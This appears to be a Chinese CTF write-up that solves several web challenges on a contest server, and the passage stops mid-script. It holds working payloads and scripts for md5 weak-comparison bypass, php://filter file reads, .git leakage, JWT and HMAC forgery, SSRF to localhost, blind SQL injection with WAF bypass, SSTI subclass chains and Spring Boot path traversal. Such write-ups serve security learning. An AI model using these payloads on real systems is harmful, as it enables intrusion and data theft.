消失的密钥

题目提示对 key 很敏感,注入 1 回显认证失败,注入 key 回显我们注入的值为空,后端应该是对我们的输入的 key 进行了空字符替换,双写绕过即可

1
http://39.105.213.28:12601/?step1=kkeyey

有了新的回显给了两行提示:

  • Master Const: 1337
  • POST data structure ‘a’ missing. Terminal locked

字面意思就是 post 传递 a 参数值为 1337,直接传 a=1337 会回显 Data type mismatch or incorrect constant,值肯定是没问题的那就是类型不匹配,后端接收 int 类型的值而我们传递的是字符串,上网搜索如何直接传数组主要有两种方法,一是传 json 数据,即 {"a":1337},但是经尝试服务器无法接收因为回显为 'a' missing

还有一种方法是传数组 a[]=1337,php 会将其处理为 a[0]=1337,直接传递还是回显类型不匹配,看来得控制键名,同样还是根据题目依据猜测:

1
a[key]=1337

成功完成第二步,得到新的提示:

**Collision check pending. Collision pending. (Params ‘a’, ‘b’ required via GET. )**翻译一下就是检查 get 参数 a 和 b 的碰撞,一般多为 md5,常规的绕过就是利用 md5 函数对数组类型的特殊处理

1
2
3
4
5
6
7
<?php
$a[]=1;
$b[]=2;
if ($a !== $b && md5($a) === md5($b)) {
echo "绕过成功";
}
?>

注入 ?step1=kkeyey&a=1&b=1 页面的报错提示没了但是也没给 flag,说白了就是 payload 不满足碰撞条件,换个思路考虑哈希碰撞

1
2
3
4
5
6
7
<?php
$a = 'QNKCDZO';
$b = '240610708';
var_dump(md5($a));
var_dump(md5($b));
if (md5($a) == md5($b)) echo "绕过成功"
?>

PHP 弱比较规则:当两个字符串均以 0e 开头时,PHP 会将其隐式转为浮点数进行比较:

  • 0e8304...0 × 10^8304... = 0.0
  • 0e4620...0 × 10^4620... = 0.0
  • 0.0 == 0.0true(即使原始字符串内容不同)

最终 payload:

1
2
GET:?step1=kkeyey&a=QNKCDZO&b=240610708
POST:a[key]=1337

img

JSON Beautifier

/robots.txt 给了题目的两个路由 /api/preview.php 预览文件,/api/beautify.php 写文件

/api/preview.php 路由下能提供 get 传递 file 参数,尝试传递在 /api/beautify.php 获得的文件名能够预览其内容,传递 ../../../etc/passwd 爆 403,文件是存在的只是没有读取权限

尝试常规路径读取文件:

../../../var/www/html/src/api/beautify.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
<?php
declare(strict_types=1);

header('Content-Type: application/json; charset=utf-8');
header('X-Powered-By: JSON Beautifier');

error_reporting(0);

require_once __DIR__ . '/config.php';

function respond(int $code, array $payload): void {
http_response_code($code);
echo json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
exit;
}

function ensureTempDir(): void {
if (!is_dir(TMP_DIR)) {
@mkdir(TMP_DIR, 0700, true);
}
@chmod(TMP_DIR, 0700);
}

function cleanupOldFiles(int $maxAgeSeconds = 300, int $maxScan = 200): void {
if (!is_dir(TMP_DIR)) return;
$files = @glob(TMP_DIR . '/*.tmp');
if (!$files) return;
$now = time();
$n = 0;
foreach ($files as $f) {
if ($n++ >= $maxScan) break;
if (!is_file($f)) continue;
$age = $now - @filemtime($f);
if ($age > $maxAgeSeconds) {
@unlink($f);
}
}
}

ensureTempDir();

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
respond(200, [
'service' => 'JSON Beautifier',
'usage' => 'POST JSON: {"data":"...","preview_type":"raw|data_uri"}',
'preview_api' => '/api/preview.php?file=<preview_id>.tmp'
]);
}

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
respond(405, ['error' => 'Method Not Allowed']);
}

$raw = file_get_contents('php://input');
$data = json_decode($raw, true);

if (!is_array($data)) {
respond(400, ['error' => 'Invalid JSON body. Expected JSON like {"data":"...","preview_type":"raw|data_uri"}']);
}

$payload = isset($data['data']) ? (string)$data['data'] : '';
$previewType = isset($data['preview_type']) ? (string)$data['preview_type'] : 'raw';

if (trim($payload) === '') {
respond(400, ['error' => 'Missing field: data']);
}

$previewId = 'preview_' . bin2hex(random_bytes(8));
$tmpFile = TMP_DIR . '/' . $previewId . '.tmp';

if ($previewType === 'raw') {
$decoded = json_decode($payload, true);
if (json_last_error() !== JSON_ERROR_NONE) {
respond(400, ['error' => 'Field "data" is not valid JSON text']);
}
$pretty = json_encode($decoded, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
if ($pretty === false) {
respond(500, ['error' => 'JSON encode failed']);
}
file_put_contents($tmpFile, $pretty, LOCK_EX);
} elseif ($previewType === 'data_uri') {
$prefix = 'data:text/plain;base64,';
if (strpos($payload, $prefix) !== 0) {
respond(400, ['error' => 'data_uri must start with: data:text/plain;base64,']);
}
$b64 = substr($payload, strlen($prefix));
$decoded = base64_decode($b64, true);
if ($decoded === false) {
respond(400, ['error' => 'Invalid base64 in data_uri']);
}
if (strlen($decoded) > 4096) {
respond(413, ['error' => 'Decoded payload too large']);
}
file_put_contents($tmpFile, $decoded, LOCK_EX);
} else {
respond(400, ['error' => 'Invalid preview_type. Use raw or data_uri']);
}

@chmod($tmpFile, 0600);

if (random_int(1, 10) === 1) {
cleanupOldFiles(300, 200);
}

respond(200, [
'success' => true,
'preview_id' => $previewId,
'preview_file' => $previewId . '.tmp'
]);

../../../var/www/html/src/api/preview.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
declare(strict_types=1);

header('Content-Type: text/plain; charset=utf-8');
header('X-Powered-By: JSON Preview');

error_reporting(0);

require_once __DIR__ . '/config.php';

function out(int $code, string $body): void {
http_response_code($code);
echo $body;
exit;
}

function startsWith(string $s, string $prefix): bool {
return strncmp($s, $prefix, strlen($prefix)) === 0;
}

function schemeOf(string $uri): ?string {
$p = strpos($uri, '://');
if ($p === false) return null;
$scheme = substr($uri, 0, $p);
if (preg_match('/^[a-zA-Z][a-zA-Z0-9+\.\-]*$/', $scheme) !== 1) {
return null;
}
return strtolower($scheme);
}

if ($_SERVER['REQUEST_METHOD'] !== 'GET') {
out(405, "Method Not Allowed\n");
}

if (!isset($_GET['file']) || trim((string)$_GET['file']) === '') {
out(200,
"JSON Preview API\n\n" .
"Usage:\n" .
" GET /api/preview.php?file=<name>\n\n" .
"有些东西离这里有点远,也许换个路径层级再看看,会遇到更有意思的文件。\n"
);
}

$file = (string)$_GET['file'];
$file = str_replace("\0", '', $file);

$requested = TMP_DIR . '/' . $file;

if (strpos($requested, TMP_DIR) !== 0) {
out(400, "Bad path\n");
}

$real = realpath($requested);
if ($real === false || !is_file($real)) {
out(404, "Not Found\n");
}

$tmpPrefix = rtrim(TMP_DIR, '/') . '/';
$srcPrefix = rtrim(SRC_API_DIR, '/') . '/';

if (!startsWith($real, $tmpPrefix) && !startsWith($real, $srcPrefix)) {
out(403, "Forbidden\n");
}

$content = file_get_contents($real);
if ($content === false) {
out(500, "Read error\n");
}

$isTmp = startsWith($real, $tmpPrefix) && preg_match('/\.tmp$/', $real) === 1;
$line = trim((string)$content);

if ($isTmp) {
$scheme = schemeOf($line);
if ($scheme !== null) {
$deny = [
'http', 'https', 'ftp', 'ftps',
'phar', 'expect',
];
if (in_array($scheme, $deny, true)) {
out(403, "Forbidden scheme\n");
}

$pos = stripos($line, 'resource=');
if ($pos === false) {
out(400, "Bad reference\n");
}

$resource = rawurldecode(substr($line, $pos + 9));
if ($resource !== FLAG_PATH) {
out(403, "Forbidden resource\n");
}

$data = @file_get_contents($line);
if ($data === false) {
out(500, "Resource read error\n");
}
echo $data;
exit;
}
}

echo $content;

代码审计:

  • beautify.phpdata_uri 模式允许我们把内容写入 /tmp/json_preview/ 路径
  • preview.php 在读取目标文件时,其内容类似于协议,就会把其作为 url 进行 file_get_contents()

攻击思路:

  • 黑名单中没有 ban 掉 php://filter,利用其进行文件读取
  • 读取的 resource 名称不能为 FLAG_PATH,但是 beautify.phpdata_uri 模式能够进行 base64 编码绕过
  • 读取 ../../../var/www/html/src/api/config.php 拿到 FLAG_PATH/secret/flag

实际攻击:

/api/beautify.phppreview_type 设置为 data_uri,通过 php://filter/convert.base64-encode/resource=/secret/flag 在后续读取 flag 内容,为满足”data_uri must start with: data:text/plain;base64”的条件还需要进行一次 base64 编码

1
2
3
4
{
"data":"data:text/plain;base64,cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vc2VjcmV0L2ZsYWc=",
"preview_type":"data_uri"
}

/api/preview.php 读取对应的文件,解码即可

夜班审计台

首页给了一个为 sql 查询功能,加载的 /static/main.js 明文写入了 window.__buildTrace = "/.git/HEAD",目录扫描出 /.git/HEAD,下载后得到信息“ref: refs/heads/master”,根据该提示再访问 /.git/refs/heads/master,得到一串 40 位的字符

1
9fdf9b412e7cfe179e59d28f25f47cffd68484e7

这就是当前版本的 Commit 提交对象的 id

Git 将所有内容存储在 /.git/objects/ 目录下,路径格式为:前 2 位字符/后 38 位字符。

下载:根据刚才拿到的 SHA-1,访问 /.git/objects/9f/df9b412e7cfe179e59d28f25f47cffd68484e7

zlib 压缩的二进制文件,直接读取压缩

1
2
3
4
import zlib, urllib.request
url = "http://39.105.213.28:49106/.git/objects/9f/df9b412e7cfe179e59d28f25f47cffd68484e7"
data = urllib.request.urlopen(url).read()
print(zlib.decompress(data).decode('utf-8''replace'))

img

tree 代表当前文件夹结构,parent 代表上一个版本

解析 Tree(树)对象:按照同样的办法,下载并解压 tree 对应的 SHA-1 对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import urllib.request
import zlib
import re

BASE_URL = "http://39.105.213.28:49106/.git"

def get_git_object(sha1):
path = f"/objects/{sha1[:2]}/{sha1[2:]}"
try:
data = urllib.request.urlopen(BASE_URL + path).read()
return zlib.decompress(data)
except:
return None

def get_file_sha1(tree_sha1, filename):
raw = get_git_object(tree_sha1)
if not raw: return None
pos = raw.find(filename.encode())
if pos != -1:
return raw[pos + len(filename) + 1 : pos + len(filename) + 21].hex()
return None

def solve():
master_url = f"{BASE_URL}/refs/heads/master"
curr_commit = urllib.request.urlopen(master_url).read().decode().strip()

commit_data = get_git_object(curr_commit).decode()
curr_tree = re.search(r"tree ([0-9a-f]{40})", commit_data).group(1)
prev_commit = re.search(r"parent ([0-9a-f]{40})", commit_data).group(1)

curr_blob = get_file_sha1(curr_tree, "legacy_probe_stub.py")
if curr_blob:
print(get_git_object(curr_blob).decode('utf-8', 'ignore'))

prev_commit_data = get_git_object(prev_commit).decode()
prev_tree = re.search(r"tree ([0-9a-f]{40})", prev_commit_data).group(1)

prev_blob = get_file_sha1(prev_tree, "legacy_probe_stub.py")
if prev_blob:
print(get_git_object(prev_blob).decode('utf-8', 'ignore'))

if __name__ == "__main__":
solve()

拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
blob 1142_# legacy_probe_stub.py_
_# compact handover note for the audit platform cut-over_

DEFAULT_AUDITOR = ("auditor", "audit2025")
INTERNAL_DEV_SECRET = "ISCC_2026_JWT_DEBUG_KEY_#9527"
JWT_ACCEPTED = ["RS256", "HS256"]


def decode_ticket(token):
"""
current branch:
if header.alg == "RS256": verify with audit_rsa_pub.pem
elif header.alg == "HS256": verify with INTERNAL_DEV_SECRET
normal login still issues role=user
"""
raise NotImplementedError


def handover():
note = []
note.append("dashboard link to /auditor/nodes stays role-gated")
note.append("legacy fallback verifier was removed from this revision")
note.append("if night shift asks for old sign rule, inspect previous revision")
return note


class TinyMaze:
MAP = [
"#########",
"#..#....#",
"#..#.#..#",
"#....#..#",
"#########",
]

def __init__(self, start=(1, 1)):
self.pos = list(start)

def move(self, dx, dy):
x = self.pos[0] + dx
y = self.pos[1] + dy
if self.MAP[y][x] != "#":
self.pos = [x, y]
return tuple(self.pos)

blob 893_# legacy_probe_stub.py_
_# old night-shift fallback verifier kept for rollback testing_

SERVER_SECRET = "ISCC_SERVER_SECRET_REAL"
LOCAL_ONLY = ("127.0.0.1", "::1")
AUDIT_NODE = "core-storage-01"
TIME_WINDOW = 60


def verify_probe(node_id: str, ts: int, sign: str) -> bool:
"""
internal/audit fallback:
msg = f"{node_id}:{ts}"
expected = HMAC_SHA256_hex(SERVER_SECRET, msg)
abs(now-ts) <= 60
remote_addr in LOCAL_ONLY
"""
raise NotImplementedError


class PixelRunner:
def __init__(self):
self.energy = 3
self.score = 0

def tick(self, move: str):
if move in {"left", "right", "jump"}:
self.score += 1
self.energy = max(0, self.energy - 1)
return self.score, self.energy


def demo_loop(script):
game = PixelRunner()
for move in script:
game.tick(move)
return game.score

拿到默认账密,登陆后角色仍然为 user:DEFAULT_AUDITOR = ("auditor", "audit2025")

源码暴露了 JWT 密钥:INTERNAL_DEV_SECRET = "ISCC_2026_JWT_DEBUG_KEY_#9527"

说明开发环境/调试环境中,HS256 会使用这个对称密钥,且服务端接受两种 JWT 算法:JWT_ACCEPTED = ["RS256", "HS256"]

1
2
3
if header.alg == "RS256": verify with audit_rsa_pub.pem
elif header.alg == "HS256": verify with INTERNAL_DEV_SECRET
normal login still issues role=user

这里说明正常登录签发的票据虽然可能是合法的,但角色仍然是 user;如果服务端在校验时允许 HS256,而我们又已经知道了 INTERNAL_DEV_SECRET,那就可以伪造一个 role=auditor 的 JWT

auditorJWT 登陆后台后,要求填写三个数据 node_idtssign,提示如下:

本页面会代你向内部审计进程发起请求,查询指定节点的状态
内部接口只接受带签名的请求,签名基于 node_id 和 timestamp 计算,并设定了严格的时间窗口

第一段源码提示:note.append("if night shift asks for old sign rule, inspect previous revision")

旧版本里还有下一阶段的签名规则,继续翻历史,拿到逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
SERVER_SECRET = "ISCC_SERVER_SECRET_REAL"
LOCAL_ONLY = ("127.0.0.1", "::1")
AUDIT_NODE = "core-storage-01"
TIME_WINDOW = 60

def verify_probe(node_id: str, ts: int, sign: str) -> bool:
"""
internal/audit fallback:
msg = f"{node_id}:{ts}"
expected = HMAC_SHA256_hex(SERVER_SECRET, msg)
abs(now-ts) <= 60
remote_addr in LOCAL_ONLY
"""
raise NotImplementedError

根据其写出 exp,填入对应数据即可,注意 JWT 会过期需要快点填写

1
2
3
4
5
6
7
8
9
10
11
12
13
import time
import hmac
import hashlib

node = 'core-storage-01'
ts = str(int(time.time()))
secret = b'ISCC_SERVER_SECRET_REAL'

msg = f'{node}:{ts}'.encode()
sign = hmac.new(secret, msg, hashlib.sha256).hexdigest()

print('ts =', ts)
print('sign =', sign)

值班邮件台

/admin.php 需要管理员用户,在 Cookie 改 mail_role=admin 进入后台预览面板,需要提供预览凭据和诊断地址,同时能在 /download.php 通过传递 get 参数 file 读取目标文件

1
2
3
4
5
6
7
8
// files/notes/preview-readme.txt
[后台预览面板联调说明]

1. 仅供值班管理员使用。
2. 预览器只用于查看本机内部诊断结果,不支持外部地址。
3. 原型阶段的双人复核逻辑已单独摘录,调试时可直接查看:admin.php
4. 诊断地址命名规则已从后台原型迁出,当前以 route-index.txt 为准。
5. 线上会删掉这些联调材料,值班同学看完记得清理。
1
2
3
4
5
6
7
// files/notes/route-index.txt
[内部诊断路由索引]

当前仍保留的诊断别名如下:
health -> /internal/health
mailq -> /internal/queue
final -> /internal/report?view=flag&slot=last
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// admin.php

<?php
$tokenA = (string)($_POST['token_a'] ?? '');
$tokenB = (string)($_POST['token_b'] ?? '');

if ($tokenA === '' || $tokenB === '') {
exit('两份预览凭据都需要填写');
}

if ($tokenA === $tokenB) {
exit('两份输入不能完全相同');
}

$h1 = md5($tokenA);
$h2 = md5($tokenB);

if ($h1 == $h2 && $h1 !== $h2) {
echo "校验通过,允许继续请求诊断地址";
} else {
echo "双人复核失败";
}
?>

其所谓的双人复核逻辑考察的就是经典 md5 绕过,给的利用其访问内部接口,经测试内部接口实际挂在本机 80 端口,最终 payload:

1
2
3
curl -s -H "Cookie: mail_user=guest; mail_role=admin" \
-d "token_a=QNKCDZO&token_b=240610708&target_url=http://127.0.0.1:80/internal/report?view=flag&slot=last" \
http://39.105.213.28:49103/admin.php

灵感笔记

admin 账号能直接登录,/api/admin/hint 拿到信息:

1
2
3
4
5
6
=== API Endpoint Hint ===
POST /api/v1/project/detail HTTP/1.1
Host: localhost:5000
Content-Type: application/json

{"project_id": "<project-id>"}

结合 /project/flag-project-001 中提示“这是 secret”,我们需要利用 /api/v1/project/detail 接口获取这个 secret:

img

虽然无权查看此笔记,但是我们从回显拿到了 trace_id 可以在 /feedback 用的上,注意携带响应中的 session·

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"level": "\u9519\u8bef",
"message": "\u5c1d\u8bd5\u975e\u6cd5\u8bbf\u95ee\u91cd\u8981\u7b14\u8bb0",
"metadata": {
"action": "access_denied",
"source": "notes_module"
},
"project_id": "flag-project-001",
"request_data": "POST /api/v1/project/detail | project_id=flag-project-001",
"stack_trace": "Object: 8004958c000000000000007d94288c0474797065948c0b464c41475f4f424a454354948c04666c6167948c1f495343437b657047466b3875756658654e37526b57776e617566757766727d948c0a70726f6a6563745f6964948c10666c61672d70726f6a6563742d303031948c0974696d657374616d70948c1a323032362d30352d31355431343a31353a30302e36343839353794752e",
"timestamp": "2026-05-15T14:15:00.648972",
"trace_id": "8f3e0eba-9285-4282-bdf8-2ea5319ae85f",
"user_id": "7e398457-0ad3-4351-bc18-83b9e034e15d"
}

特别关注 stack_trace,开头的 80 04Python pickle protocol 4 的经典魔数

这不是普通 hex,而是 Python pickle 序列化后的十六进制数据,将其 hex 解码后进行反序列化操作 pickle.loads 即可

1
2
3
4
5
import pickle

data = "8004958c000000000000007d94288c0474797065948c0b464c41475f4f424a454354948c04666c6167948c1f495343437b657047466b3875756658654e37526b57776e617566757766727d948c0a70726f6a6563745f6964948c10666c61672d70726f6a6563742d303031948c0974696d657374616d70948c1a323032362d30352d31355431343a31353a30302e36343839353794752e"
obj = pickle.loads(bytes.fromhex(data))
print(obj)

社团活动统计

前端禁用了调试和右键功能,给有提示:访问核心功能需:用户代理 + 官方来源页 + 校园令牌

访问 /robots.txt:Allow: /static/hint/tech_stack.txt

访问 /static/hint/tech_stack.txt

1
2
3
4
5
Backend: Django 5.2.5
ATTENTION:
To access the core interface, you need to set two request headers correctly:
User-Agent: Must strictly follow "Campus-Stat/1.0" (including case and special symbols);
Referer: Must be a valid HTTPS URL containing "campus-stat.example.com" (no extra content, only the root domain).

翻译一下:

后端:Django 5.2.5

注意:要访问核心接口,您需要正确设置两个请求头:

  1. User-Agent:必须严格遵循“Campus-Stat/1.0”(包括大小写和特殊符号)
  2. Referer:必须是包含“campus-stat.example.com”的有效 HTTPS URL(无额外内容,仅限根域名)

还差一个校园令牌,在 /?page=2 的响应头中可以拿到 X-Campus-Token: campus-ctf-2024-abc123

1
2
3
User-Agent: Campus-Stat/1.0
Referer: https://campus-stat.example.com/
X-Campus-Token: campus-ctf-2024-abc123

前端源码有 css 高亮标记,暗示 activity 和 admin

1
2
<**a** **href**="#">"<**span** **class**="highlight-key">活动</**span**>"分类</**a**> 
<**a** **href**="#">社团"<**span** **class**="highlight-key">管理</**span**>"</**a**>

访问 /admin/,给提示 Nothing here directly, but maybe start from here... 暗示找 /admin/ 下的文件。同时给了类似 flag 的信息:flag{stat

img

访问 /stat/,给了提示词 maybe

img

访问 /activity/,我们拿到了真正的 flag 头

img

首页和线索页不断在强调 3 个语义词:管理:admin 统计:stat 活动:activity

这类题很常见的设计就是把词直接拿去拼隐藏路由,继续按语义拼接路径 /admin/stat/activity/,这个路径会进入真正的核心统计页面

img

前端源码注释给了提示

img

考察的是 sql 盲注注入

  • 过滤了空格,/**/ 绕过
  • 完整敏感关键字,大小写绕过
  • 传递 dim_filter 条件为 true 回显为 10,条件为假则为 0
  • Flag 存储在 flag 表的 value 字段

正常的查询语句是:

1
select value from flag

但是由于以上条件的限制,我们采用盲注以及 waf 绕过:

1
substr((SeLeCt/**/value/**/FrOm/**/flag),1,1)='I'

img

接下来就是盲注 + 二分爆破了,先确定 flag 长度再进行后续爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/env python3
_"""CTF Web - Boolean Blind SQL Injection EXP"""_
import requests
import sys
import time

BASE = "http://39.105.213.28:8000"
CORE = "/admin/stat/activity/"
H = {
"User-Agent": "Campus-Stat/1.0",
"Referer": "https://campus-stat.example.com/",
"X-Campus-Token": "campus-ctf-2024-abc123",
}

def check(payload):
_"""True → ✅ 10 in response, False → ✅ 0"""_
_ _try:
r = requests.get(
f"{BASE}{CORE}",
params={"dim_filter": payload},
headers=H,
timeout=15,
)
return "\u2705 10<" in r.text
except Exception as e:
print(f"\n[ERR] {e}")
return False

# ── Phase 1: Info gathering ──
print("[1] robots.txt", flush=True)
r = requests.get(f"{BASE}/robots.txt", timeout=10)
print(f" {r.text.strip()}", flush=True)

print("[2] tech_stack.txt", flush=True)
r = requests.get(f"{BASE}/static/hint/tech_stack.txt", timeout=10)
print(f" {r.text.strip()[:150]}...", flush=True)

print("[3] X-Campus-Token", flush=True)
r = requests.get(f"{BASE}/?page=2", timeout=10)
print(f" {r.headers.get('X-Campus-Token')}", flush=True)

print("[4] Core route check", flush=True)
r = requests.get(f"{BASE}{CORE}", headers=H, timeout=10)
print(f" Status: {r.status_code}", flush=True)

# ── Phase 2: Length ──
print("\n[5] Finding flag length...", flush=True)
low, high = 1, 100
for t in [20, 30, 40, 50, 60, 80, 100]:
if not check(f"length((SeLeCt/**/value/**/FrOm/**/flag))>{t}"):
high = t
break
while low < high:
mid = (low + high) // 2
if check(f"length((SeLeCt/**/value/**/FrOm/**/flag))>{mid}"):
low = mid + 1
else:
high = mid
print(f" [{low}, {high}]", flush=True)
print(f" Length = {low}", flush=True)

# ── Phase 3: Extract chars ──
print(f"\n[6] Extracting {low} characters...", flush=True)
charset = sorted(set(
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789"
"{}_!@#$%^&*()-=+[]|;:,.<>?/~` "
))
CHARS = "".join(charset)
N = len(CHARS)

flag = ""
for pos in range(1, low + 1):
# Binary search by unicode
lo, hi = 0, N - 1
while lo <= hi:
mid = (lo + hi) // 2
if check(f"unicode(substr((SeLeCt/**/value/**/FrOm/**/flag),{pos},1))>{ord(CHARS[mid])}"):
lo = mid + 1
else:
hi = mid - 1

found = None
if lo < N:
# Verify
ch = CHARS[lo]
if check(f"substr((SeLeCt/**/value/**/FrOm/**/flag),{pos},1)='{ch}'"):
found = ch

# Fallback: linear scan
if found is None:
for c in CHARS:
if check(f"substr((SeLeCt/**/value/**/FrOm/**/flag),{pos},1)='{c}'"):
found = c
break
time.sleep(0.05)

flag += (found or "?")
print(f" [{pos}/{low}] {flag}", flush=True)

print(f"\n{'='*50}")
print(f"FLAG: {flag}")
print(f"{'='*50}")

企业公文套红预览系统

/robots.txt 提供了 /backup/ 路径名,前端源码注释中有提示

1
<!-- notes: index.php.bak, app.py.bak -->

拼接路径得源码:

index.php:

1
2
3
4
5
6
7
8
9
<?php
// legacy OA portal (retired)
$notice = "预览入口已迁移到 /preview";
$compat_note = "输入内容一定要按照模板来,有一套模板就足够了;如果字符显示出了问题,还是按老办法从空字符串对象''一路往上看,不要投机取巧跳过步骤,按最基本的来就行。";
echo $notice . "
";
echo $compat_note . "
";
?>

app.py:

1
2
3
4
5
6
7
8
9
10
11
12
def build_doc():
return {
'title': '关于进一步规范企业公文套红预览流程的通知',
'department': '企业信息化办公室',
'doc_no': '信办发〔2026〕12号',
'date': '2026-02-24',
'summary': '预览服务仅用于内部版式核对,正式发文前仍需复核内容与编号。',
'flag': '*+*+*+*'
}

# smoke test:
# assert doc.get('title') == '关于进一步规范企业公文套红预览流程的通知'

后端为 Python/3.11.15,结合 index.php 中 compat_note 的提示,推测是打 SSTI

  • `{{7}}`:7
  • `{{7*7}}`:预览失败:不支持的表达式
  • `{{*}}`:预览失败:不支持的表达式
  • flag:预览失败:不支持的表达式
  • `{{doc.get('title')}}`:关于进一步规范企业公文套红预览流程的通知

到这里思路其实很清晰了:/preview 存在 SSTI 漏洞,过滤了 flag 和 `{{}}` 中的很多符号,应该是因为后端设置的白名单,但是我们最终想构造的是 `{{doc.get('flag')}}`,还是结合 compat_note 的后半段提示,通过 '' 的继承链拿到 chr() 构造出 flag

1
{{''.__class__.__base__.__subclasses__()}}

拿到 object 基类中的子类,题目环境中,兼容类型列表的 117 号元素是 BuiltinBridge,继续拼接

1
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}

回显已经很明显了:

1
{'__builtins__': {'chr': <built-in function chr>}}

__builtins__ 的值是一个子字典,该子字典仅包含一个内建函数 chr 的引用。

字符拼接出 flag 字符串:

1
2
3
4
''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](102)
+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](108)
+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](97)
+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](103)

最终 payload:

1
2
3
4
5
{{doc.get(''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](102)
+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](108)
+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](97)
+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](103)
)}}

逆向穿越

访问 /config/app/dev/application.yml 得到提示:

This is just a mock repository config. The real secrets are in the main application.yml at the system root (/app/application.yml)

但是我们无法直接访问 /app/application.yml,直接 ../ 尝试路径穿越也会失效

在页脚的信息:Running on Spring Boot 2.2.6.RELEASE

原本合法的请求路径:/config/app/dev/application.yml

非法穿越访问路径:/config/app/dev/%2fapp%2fapplication.yml

服务会把 %2fapp%2fapplication.yml 解析成 /app/application.yml,最终成功读到系统根下主配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
server:
port: 8080

spring:
application:
name: cloud-config-central

management:
endpoints:
web:
base-path: "/internal-monitor-xyz123"
exposure:
include: "env"
endpoint:
env:
keys-to-sanitize: "password,secret,key,token,.*credentials.*,vcap_services,FLAG"

system:
diagnostic:
auto-dump: true
last-crash-time: "2026-03-10T08:15:32Z"
backup-download-path: ${SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH}

访问 /internal-monitor-xyz123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"_links": {
"self": {
"href": "http://39.105.213.28:12602/internal-monitor-xyz123",
"templated": false
},
"env": {
"href": "http://39.105.213.28:12602/internal-monitor-xyz123/env",
"templated": false
},
"env-toMatch": {
"href": "http://39.105.213.28:12602/internal-monitor-xyz123/env/{toMatch}",
"templated": true
}
}
}

访问 /internal-monitor-xyz123/env/FLAG

1
{"property":{"source":"systemEnvironment","value":"******"}}

说明 FLAG 被 keys-to-sanitize 掩码了,不能直接从 env 读出来

/app/application.yml 给我们提供了 system.diagnostic.backup-download-path.${SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH}

backup-download-path 就是的值就是 env 中的 SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH,我们访问 SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH

1
2
3
4
5
6
{
"property": {
"source": "systemEnvironment",
"value": "/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat"
}
}

所以真实可下载的诊断备份路径是:

1
/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat

直接访问这个 .dat 文件可以下载到一个很大的 Java 堆转储数据。

完整下载不太稳定,所以最稳妥的方法是 使用 Range 分块读取,逐块搜索 flag。

在分块扫描过程中,就可以定位到真正的 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import re

URL = "http://39.105.213.28:12602/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat"
CHUNK_SIZE = 512 * 1024 # 512KB chunks
OVERLAP = 200 # bytes overlap to catch flags spanning chunks

total_size = 27692349
overlap_buf = b""

# Flag patterns to search
patterns = [re.compile(rb'ISCC\{[^}]+\}', re.IGNORECASE),
